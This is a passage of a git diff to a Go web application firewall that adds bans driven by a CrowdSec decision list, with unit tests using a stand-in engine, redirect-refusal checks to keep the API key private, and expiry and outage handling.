listed) || + held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 { + t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+ + "the request in its notes", held) + } + + // The listing raises a reputation_hit alert, and the ban its own. + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit || + waiting[0].Reason != "listed by the CrowdSec decision list" || + !reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0], + expires)) { + t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's", + waiting) + } + + // Each request while the ban lasts is refused under it, as under any + // ban, and once it has ended the client is let through. + clk.advance(4*time.Hour - time.Second) + + line = s.get(client, http.StatusForbidden, requestlog.ActionBanned) + wantReputation(t, line) + + if line.BanExpires != expires { + t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires) + } + + clk.advance(time.Second) + s.get(client, http.StatusOK, requestlog.ActionForward) + + // The ban and the hit are counted, and the list has the metrics of any + // list fetched from a URL. + metrics := s.scrape(unplaced) + labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}` + + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+ + `instance="`+alertInstance+`"}`, 1) + wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1) + wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) + wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels, + float64(fetched.Unix())) +} + +func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) { + t.Parallel() + + s, clk, server := startWithClock(t, "", map[string]string{ + crowdSecURL: lapi, crowdSecKey: bouncerKey, + }) + // 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine + // answered. + fetched := clk.Now() + loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+ + `"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+ + `"value": "198.51.100.0/24"}, {"duration": "1m0s", `+ + `"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+ + `"value": "2001:db8::9"}]`) + + // Just before its end, the decision bans a client in the netblock, and + // one on an IPv6 address bans the address's group, the /64. + clk.advance(time.Minute - time.Nanosecond) + s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned) + s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned) + s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned) + + // Once it has ended, it bans no other client, and the bans it made end + // with it. + clk.advance(time.Nanosecond) + + for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} { + wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward)) + } + + if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 { + t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+ + "2001:db8::/64", made) + } + + if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 { + t.Errorf("bans of 2001:db8::/64 %+v, want one", held) + } +} + +func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan( + t *testing.T, +) { + t.Parallel() + + s, clk, server, queue := startWithAlerts(t, map[string]string{ + crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe, + }) + loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+ + `"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+ + `"value": "`+client+`"}]`) + + line := s.get(client, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionBanned) + wantReputation(t, line, decisionsURL) + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("bans %+v, want none", held) + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 2 || waiting[1].Event != alerts.EventBan || + waiting[1].Detail["cause"] != bans.CauseCrowdSec || + waiting[1].Detail["mode"] != observe { + t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+ + "marked observe", waiting) + } +} + +// loadDecisions puts into server's lists the copy of the decision list at +// decisionsURL, answer, the engine's answer, fetched at fetched, as +// reputation.json would at start. +func loadDecisions( + t *testing.T, server *proxy.Server, fetched time.Time, answer string, +) { + t.Helper() + + err := server.Lists.Load([]reputation.List{{ + URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer}, + }}) + if err != nil { + t.Fatalf("load the decision list: %v", err) + } +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 1298343..f02d322 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -74,9 +74,10 @@ type Params struct { Rules *rules.Files // Alerts receive the alert for each ban the proxy makes or makes // permanent, for each count over an anomaly threshold, for each request - // whose client a blocklist, a DNSBL zone or AbuseIPDB lists, and for - // GeoJS failing, a fetch of a list failing, a query to a DNSBL zone or - // a check with AbuseIPDB failing, or the day's AbuseIPDB checks used up. + // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or + // AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a + // query to a DNSBL zone or a check with AbuseIPDB failing, or the day's + // AbuseIPDB checks used up. Alerts *alerts.Queue } @@ -202,8 +203,9 @@ func newReputation( cfg := params.Config lists := reputation.New(reputation.Params{ BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh, - ASNLimitPercentURL: cfg.ASNLimitPercentURL, Now: params.Now, - ProcessLog: params.ProcessLog, Alerts: params.Alerts, + ASNLimitPercentURL: cfg.ASNLimitPercentURL, + CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey, + Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts, }) dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{ Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL, diff --git a/internal/proxy/reputation.go b/internal/proxy/reputation.go index 3a2cdd2..0020c60 100644 --- a/internal/proxy/reputation.go +++ b/internal/proxy/reputation.go @@ -2,6 +2,7 @@ package proxy import ( "context" + "time" "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" @@ -25,6 +26,22 @@ func (rq *request) blocklistDenied() bool { return rq.blocklisted && rq.h.config.BlocklistAction == deny } +// crowdSecBanned reports whether a decision of the CrowdSec decision list +// on the client is in force at now. If one is, it notes the list, as +// noteHit does, and bans the client until that decision ends. +func (rq *request) crowdSecBanned(now time.Time) bool { + decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now) + if !listed { + return false + } + + rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL}, + "listed by the CrowdSec decision list") + rq.banForCrowdSec(now, decision) + + return true +} + // dnsblDenied notes the DNSBL zones whose verdict lists the client, as // noteListed does, and reports whether SWWAF_REPUTATION_ACTION, being // deny, refuses the request. Being limit, it lowers the client's limits diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 4bcf4ca..c4638e5 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -226,8 +226,9 @@ func (rq *request) check(ctx context.Context) *refusal { // other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, // so that a client either refuses is not looked up, then the lookup of // its AS number and country, then the country lists, then the blocklists, -// then the DNSBL zones' verdicts, and then AbuseIPDB's score; a request -// any of them refuses is not counted for the rate limits. Then come the +// then the CrowdSec decision list, which bans the client it lists, then +// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of +// them refuses is not counted for the rate limits. Then come the // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that // every other request is counted, each of them by the client's limit @@ -260,6 +261,10 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionDenied } + if rq.crowdSecBanned(now) { + return requestlog.ActionBanned + } + if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) { return requestlog.ActionDenied } diff --git a/internal/reputation/crowdsec_test.go b/internal/reputation/crowdsec_test.go new file mode 100644 index 0000000..0978b09 --- /dev/null +++ b/internal/reputation/crowdsec_test.go @@ -0,0 +1,513 @@ +package reputation_test + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "log/slog" + "net/http" + "net/netip" + "reflect" + "strings" + "sync" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/reputation" +) + +// The tests run in a synctest bubble, as those of the blocklists do, and +// fetch the decision list from engine, a stand-in for a CrowdSec engine +// that answers without the network. + +const ( + // decisionsURL is the decision list of the tests' engine, and engineKey + // the key it answers. + decisionsURL = "http://crowdsec.example:8080/v1/decisions" + engineKey = "crowdsec-key-0123456789abcdef" + // sshBF and probing are scenarios of the engine's decisions. + sshBF = "crowdsecurity/ssh-bf" + probing = "crowdsecurity/http-probing" + // ban is the type of a decision to ban, and rangeScope the scope of a + // decision on a netblock, as CrowdSec names them. + ban = "ban" + rangeScope = "Range" +) + +func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + began := time.Now() + manual := "manual 'ban' from 'localhost'" + e := &engine{key: engineKey, decisions: []decision{ + {"Ip", suspect, ban, manual, began.Add(6 * time.Hour)}, + // A shorter decision on the same address, which is not the one + // used. + {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, + {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, + {"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)}, + // Left out: a decision to show a captcha, and one on a country. + {"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)}, + {"Country", "KP", ban, manual, began.Add(time.Hour)}, + }} + lists := start(t, e, crowdSecParams()) + + for addr, want := range map[string]reputation.Decision{ + suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual}, + "198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing}, + "198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing}, + "2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF}, + "203.0.113.10": {}, + "198.51.101.0": {}, + "2001:db8::2": {}, + "192.0.2.50": {}, + } { + wantDecision(t, lists, addr, want) + } + + // With the engine down, the copy kept still holds the decision on + // 198.51.100.0/24, which no longer bans once it has ended. + e.set(func(e *engine) { e.failing = true }) + time.Sleep(time.Hour - time.Nanosecond) + synctest.Wait() + wantDecision(t, lists, "198.51.100.7", + reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantDecision(t, lists, "198.51.100.7", reputation.Decision{}) + wantDecision(t, lists, suspect, + reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual}) + }) +} + +func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + began := time.Now() + e := &engine{key: engineKey, decisions: []decision{ + {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, + }} + lists := start(t, e, crowdSecParams()) + wantEngineFetches(t, e, 1) + + added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing} + + e.set(func(e *engine) { + e.decisions = append(e.decisions, + decision{"Ip", "203.0.113.10", ban, probing, added.Expires}) + }) + + time.Sleep(time.Minute - time.Nanosecond) + wantEngineFetches(t, e, 1) + wantDecision(t, lists, "203.0.113.10", reputation.Decision{}) + + time.Sleep(time.Nanosecond) + wantEngineFetches(t, e, 2) + wantDecision(t, lists, "203.0.113.10", added) + }) +} + +func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + began := time.Now() + e := &engine{key: engineKey, decisions: []decision{ + // Two decisions on one address, the shorter listed first. + {"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)}, + {"Ip", suspect, ban, probing, began.Add(4 * time.Hour)}, + // 198.51.100.130 is held by a decision on its address that ends + // after the one on its netblock, and 192.0.2.20 by one that ends + // before. + {rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)}, + {"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)}, + {rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)}, + {"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)}, + }} + lists := start(t, e, crowdSecParams()) + + wantDecision(t, lists, suspect, + reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing}) + wantDecision(t, lists, "198.51.100.130", + reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing}) + wantDecision(t, lists, "192.0.2.20", + reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing}) + }) +} + +func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + began := time.Now() + e := &engine{key: engineKey, decisions: []decision{ + {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, + }} + lists := start(t, e, crowdSecParams()) + + // With its decision deleted, the engine answers null. + e.set(func(e *engine) { e.decisions = nil }) + time.Sleep(time.Minute) + wantEngineFetches(t, e, 2) + + want := []reputation.List{{ + URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"}, + }} + if got := lists.Snapshot(); !reflect.DeepEqual(got, want) { + t.Errorf("lists %+v, want %+v", got, want) + } + + if lists.Failures(decisionsURL) != 0 { + t.Errorf("%d failures, want 0", lists.Failures(decisionsURL)) + } + + wantDecision(t, lists, suspect, reputation.Decision{}) + }) +} + +func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey( + t *testing.T, +) { + t.Parallel() + + for _, tc := range crowdSecFailures() { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + began := time.Now() + e := &engine{key: engineKey, decisions: []decision{ + {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, + }} + queue := newQueue() + p := crowdSecParams() + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + p.Alerts = queue + lists := start(t, e, p) + kept := lists.Snapshot() + + e.set(tc.fail) + + // Each failure is tried again a minute after it. + for range 2 { + time.Sleep(time.Minute) + synctest.Wait() + } + + wantEngineFetches(t, e, 3) + wantDecision(t, lists, suspect, + reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF}) + + want := kept[0] + want.Tried = time.Now() + + if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) { + t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want) + } + + if lists.Failures(decisionsURL) != 2 { + t.Errorf("%d failures, want 2", lists.Failures(decisionsURL)) + } + + // One alert for the first failure; the cooldown holds back the + // second. + wantAlert(t, queue, + fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error)) + + if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ + `"url":"`+decisionsURL+`","error":"`+tc.error) { + t.Errorf("logged\n%s\nwant the failures", log.String()) + } + + wantKeyNotShown(t, e, log.String(), lists, queue) + }) + }) + } +} + +// crowdSecFailure is a way for the engine to fail: fail has it answer the +// fetches after the first so that they fail with error. +type crowdSecFailure struct { + name string + fail func(e *engine) + error string +} + +// crowdSecFailures returns the ways the engine can fail. +func crowdSecFailures() []crowdSecFailure { + const notDecision = " does not give an address or a netblock and a duration, " + + "such as 4h0m0s" + + return []crowdSecFailure{ + { + "an answer other than 200", + func(e *engine) { e.failing = true }, + "the server answered 503 Service Unavailable", + }, + { + "a key the engine refuses", + func(e *engine) { e.key = "another-key-0123456789abcdef" }, + "the server answered 403 Forbidden", + }, + { + "a redirect", + func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" }, + "the server answered 302 Found", + }, + { + "an answer that does not read", + func(e *engine) { e.answer = "" }, + "read the answer: invalid character '<' looking for beginning of value", + }, + { + "a decision to ban whose value does not read", + func(e *engine) { + e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` + + `"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]` + }, + "decision 1" + notDecision, + }, + { + "a decision to ban whose duration does not read", + func(e *engine) { + e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` + + `"value": "KP"}, {"duration": "four hours", "scope": "Range", ` + + `"type": "ban", "value": "198.51.100.0/24"}]` + }, + "decision 2" + notDecision, + }, + } +} + +// wantKeyNotShown checks that no fetch carried the engine's key to a URL +// other than its decision list, such as the one a redirect names, and that +// the key is in none of what the fetches leave behind: log, the process +// log, the alerts waiting in queue, and the copies of lists, which +// reputation.json keeps. +func wantKeyNotShown( + t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue, +) { + t.Helper() + + e.mu.Lock() + keySentTo := e.keySentTo + e.mu.Unlock() + + if len(keySentTo) != 0 { + t.Errorf("the key was sent to %v", keySentTo) + } + + shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)}) + if err != nil { + t.Fatalf("encode: %v", err) + } + + if strings.Contains(log+string(shown), engineKey) { + t.Errorf("the key is shown in\n%s\n%s", log, shown) + } +} + +func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + began := time.Now() + e := &engine{key: engineKey, decisions: []decision{ + {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, + }} + lists := start(t, e, crowdSecParams()) + kept := lists.Snapshot() + + // Restarted half an hour later with what reputation.json keeps, and + // the engine down, the decision still bans, until the end it had at + // the fetch, half an hour on. + time.Sleep(30 * time.Minute) + + down := &engine{key: engineKey, failing: true} + again := reputation.New(crowdSecParams()) + again.SetTransport(down) + + err := again.Load(kept) + if err != nil { + t.Fatalf("load: %v", err) + } + + run(t, again) + + want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing} + wantDecision(t, again, "198.51.100.7", want) + + time.Sleep(30*time.Minute - time.Nanosecond) + synctest.Wait() + wantDecision(t, again, "198.51.100.7", want) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantDecision(t, again, "198.51.100.7", reputation.Decision{}) + }) +} + +func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead( + t *testing.T, +) { + t.Parallel() + + now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) + lists := reputation.New(crowdSecParams()) + + // Tried, and never fetched: there is no copy to read. + err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}}) + if err != nil { + t.Errorf("load the list never fetched: %v", err) + } + + err = lists.Load([]reputation.List{{ + URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{ + `[{"duration": "4h", "scope": "Range", "type": "ban", ` + + `"value": "198.51.100.0/33"}]`, + }, + }}) + + const want = "the copy of " + decisionsURL + ": decision 1 does not give an " + + "address or a netblock and a duration, such as 4h0m0s" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +// engine is a stand-in for the local API of a CrowdSec engine. It answers +// a fetch of the decision list that carries its key in X-Api-Key with its +// decisions still in force, each with the time it has left as it answers, +// by the bubble's clock, as an engine does, or with answer while that is +// not "". It answers 403 to a fetch without its key, as an engine does, +// with a redirect to redirect while that is not "", and 503 while failing. +// It counts the fetches, and notes in keySentTo the URL of each fetch of +// another URL that carries a key, as one following a redirect would. +type engine struct { + mu sync.Mutex + key string + decisions []decision + answer string + redirect string + failing bool + fetches int + keySentTo []string +} + +// decision is a decision of the engine, which ends at expires. +type decision struct { + scope, value, kind, scenario string + expires time.Time +} + +// RoundTrip has the engine answer req, in place of the network. +func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) { + e.mu.Lock() + defer e.mu.Unlock() + + e.fetches++ + + if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" { + e.keySentTo = append(e.keySentTo, req.URL.String()) + } + + status, header, body := http.StatusOK, http.Header{}, e.answer + + switch { + case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key: + status, body = http.StatusForbidden, `{"message":"access forbidden"}` + case e.redirect != "": + status, header = http.StatusFound, http.Header{"Location": {e.redirect}} + case e.failing: + status, body = http.StatusServiceUnavailable, "" + case body == "": + body = e.inForce(time.Now()) + } + + return &http.Response{ + StatusCode: status, + Status: fmt.Sprintf("%d %s", status, http.StatusText(status)), + Header: header, + Body: io.NopCloser(strings.NewReader(body)), + Request: req, + }, nil +} + +// inForce returns the decisions in force at now, as the engine answers +// them: a JSON list, null for none. +func (e *engine) inForce(now time.Time) string { + var answer []map[string]string + + for _, d := range e.decisions { + if now.Before(d.expires) { + answer = append(answer, map[string]string{ + "duration": d.expires.Sub(now).String(), "origin": "crowdsec", + "scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value, + }) + } + } + + body, err := json.Marshal(answer) + if err != nil { + panic(err) // a list of maps of strings always encodes + } + + return string(body) +} + +// set changes the engine with change. +func (e *engine) set(change func(e *engine)) { + e.mu.Lock() + defer e.mu.Unlock() + + change(e) +} + +// crowdSecParams returns the Params of the decision list of the tests' +// engine, fetched with its key, by the bubble's clock, with alerts to a +// queue that sends none. +func crowdSecParams() reputation.Params { + p := params() + p.CrowdSecDecisionsURL = decisionsURL + p.CrowdSecKey = engineKey + + return p +} + +// wantEngineFetches waits until Run has made the fetches due, and checks +// how many the engine has had. +func wantEngineFetches(t *testing.T, e *engine, want int) { + t.Helper() + + synctest.Wait() + + e.mu.Lock() + got := e.fetches + e.mu.Unlock() + + if got != want { + t.Errorf("%d fetches, want %d", got, want) + } +} + +// wantDecision checks the decision lists says is in force on addr now, +// the zero Decision for none. +func wantDecision( + t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision, +) { + t.Helper() + + got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now()) + if listed != !want.Expires.IsZero() || + listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) { + t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want) + } +} diff --git a/internal/reputation/export_test.go b/internal/reputation/export_test.go index 322a2d3..578f604 100644 --- a/internal/reputation/export_test.go +++ b/internal/reputation/export_test.go @@ -11,6 +11,7 @@ import ( // network. func (l *Lists) SetTransport(transport http.RoundTripper) { l.httpClient.Transport = transport + l.crowdSecClient.Transport = transport } // SetTransport has a's checks go through transport instead of the diff --git a/internal/reputation/reputation.go b/internal/reputation/reputation.go index dc1a770..eb55148 100644 --- a/internal/reputation/reputation.go +++ b/internal/reputation/reputation.go @@ -1,8 +1,9 @@ // Package reputation fetches the lists the settings name by URL: the -// blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines -// SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each, -// whole, comment lines included, which is used while a fetch fails, and -// when each was last tried. It also asks the DNSBL zones of +// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines +// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec +// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of +// each, whole, comment lines included, which is used while a fetch fails, +// and when each was last tried. It also asks the DNSBL zones of // SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks // clients with AbuseIPDB, and keeps their scores and the checks spent // today. The state package writes all of these to reputation.json and @@ -11,6 +12,7 @@ package reputation import ( "context" + "encoding/json" "errors" "fmt" "io" @@ -32,6 +34,10 @@ const ( maxListBytes = 16 << 20 // fetchTimeout bounds one fetch of a list. fetchTimeout = time.Minute + // crowdSecRefresh is how long after the CrowdSec decision list was last + // fetched or tried it is fetched again: the engine is the operator's + // own, and makes and ends decisions all the time. + crowdSecRefresh = time.Minute // mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every // IPv4-mapped address. mappedBits = 96 @@ -43,6 +49,8 @@ var ( errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24") errNotASNPercent = errors.New( "is not an AS number, : and a percentage, such as AS64496:50") + errNotDecision = errors.New( + "does not give an address or a netblock and a duration, such as 4h0m0s") ) // List is a list as reputation.json holds it: the URL it is fetched from, @@ -63,8 +71,14 @@ type Params struct { // (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset. BlocklistURLs []string ASNLimitPercentURL string + // CrowdSecDecisionsURL is the CrowdSec decision list, "" while + // SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey + // (SWWAF_CROWDSEC_LAPI_KEY). + CrowdSecDecisionsURL string + CrowdSecKey string // Refresh is how long after a list was last fetched or tried it is - // fetched again (SWWAF_BLOCKLIST_REFRESH). + // fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision + // list, which is fetched again crowdSecRefresh after. Refresh time.Duration // Now tells the time, normally time.Now in UTC. Now func() time.Time @@ -79,6 +93,10 @@ type Params struct { type Lists struct { params Params httpClient *http.Client + // crowdSecClient fetches the CrowdSec decision list. It follows no + // redirect, so that the key goes to the engine alone: a redirect is a + // failure. + crowdSecClient *http.Client mu sync.Mutex // lists are by URL, one for each URL Params names. @@ -95,17 +113,36 @@ type list struct { } // entries are what the lines of a copy say: for a blocklist, the netblocks -// it names, with the lengths among them, and for the file of AS:percent -// lines, the percentage it gives each AS number. +// it names, with the lengths among them, for the file of AS:percent lines, +// the percentage it gives each AS number, and for the CrowdSec decision +// list, the decision on each netblock that ends last, with the lengths +// among them. type entries struct { netblocks map[netip.Prefix]bool lengths []int percents map[string]int64 + decisions map[netip.Prefix]Decision +} + +// Decision is a decision of the CrowdSec engine to ban a netblock: when +// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf. +type Decision struct { + Expires time.Time + Scenario string } // New returns the lists, without a copy of any yet. func New(params Params) *Lists { - l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}} + l := &Lists{ + params: params, + httpClient: &http.Client{}, + crowdSecClient: &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + }, + lists: map[string]*list{}, + } for _, listURL := range l.URLs() { l.lists[listURL] = &list{kept: List{URL: listURL}} @@ -115,13 +152,18 @@ func New(params Params) *Lists { } // URLs returns the URL of every list: the blocklists' in the order -// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL. +// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then +// the CrowdSec decision list's. func (l *Lists) URLs() []string { urls := slices.Clone(l.params.BlocklistURLs) if l.params.ASNLimitPercentURL != "" { urls = append(urls, l.params.ASNLimitPercentURL) } + if l.params.CrowdSecDecisionsURL != "" { + urls = append(urls, l.params.CrowdSecDecisionsURL) + } + return urls } @@ -157,6 +199,37 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) { return percent, listed } +// CrowdSecDecision returns the decision of the copy of the CrowdSec +// decision list on a netblock that holds addr and that ends last, and +// whether it is still in force at now. A decision that has ended no +// longer bans, even before the next fetch drops it. +func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) { + if l.params.CrowdSecDecisionsURL == "" { + return Decision{}, false + } + + l.mu.Lock() + defer l.mu.Unlock() + + kept := l.lists[l.params.CrowdSecDecisionsURL].entries + + var last Decision + + for _, length := range kept.lengths { + netblock, err := addr.Prefix(length) + if err != nil { + continue // an IPv6 netblock's length, past an IPv4 address's 32 bits + } + + decision := kept.decisions[netblock] + if decision.Expires.After(last.Expires) { + last = decision + } + } + + return last, now.Before(last.Expires) +} + // Fetched returns when the copy in use of the list at listURL was // fetched, or zero while there is none. func (l *Lists) Fetched(listURL string) time.Time { @@ -174,10 +247,9 @@ func (l *Lists) Failures(listURL string) int { return l.lists[listURL].failures } -// Run fetches each list once Refresh has passed since it was last fetched -// or tried, the later of the two, until ctx is done. A list never tried is -// fetched at once, and so is one whose last try or copy, read from -// reputation.json, is that old. +// Run fetches each list once it is due, as due tells, until ctx is done. A +// list never tried is fetched at once, and so is one that is due by its +// last try or copy read from reputation.json. func (l *Lists) Run(ctx context.Context) { if len(l.lists) == 0 { return @@ -225,11 +297,12 @@ func (l *Lists) Load(lists []List) error { found := make(map[string]entries, len(lists)) for _, kept := range lists { - if _, named := l.lists[kept.URL]; !named { - continue + _, named := l.lists[kept.URL] + if !named || kept.Fetched.IsZero() { + continue // dropped, or a list tried but never fetched, without a copy } - read, err := l.parse(kept.URL, kept.Lines) + read, err := l.parse(kept.URL, kept.Lines, kept.Fetched) if err != nil { return fmt.Errorf("the copy of %s: %w", kept.URL, err) } @@ -245,9 +318,8 @@ func (l *Lists) Load(lists []List) error { } for _, kept := range lists { - read, named := found[kept.URL] - if named { - l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, read + if _, named := l.lists[kept.URL]; named { + l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL] } } @@ -276,7 +348,8 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time { } // due returns when the list at listURL is to be fetched: Refresh after it -// was last fetched or tried, the later of the two. +// was last fetched or tried, the later of the two, or crowdSecRefresh +// after for the CrowdSec decision list. func (l *Lists) due(listURL string) time.Time { l.mu.Lock() defer l.mu.Unlock() @@ -288,6 +361,10 @@ func (l *Lists) due(listURL string) time.Time { last = held.kept.Tried } + if listURL == l.params.CrowdSecDecisionsURL { + return last.Add(crowdSecRefresh) + } + return last.Add(l.params.Refresh) } @@ 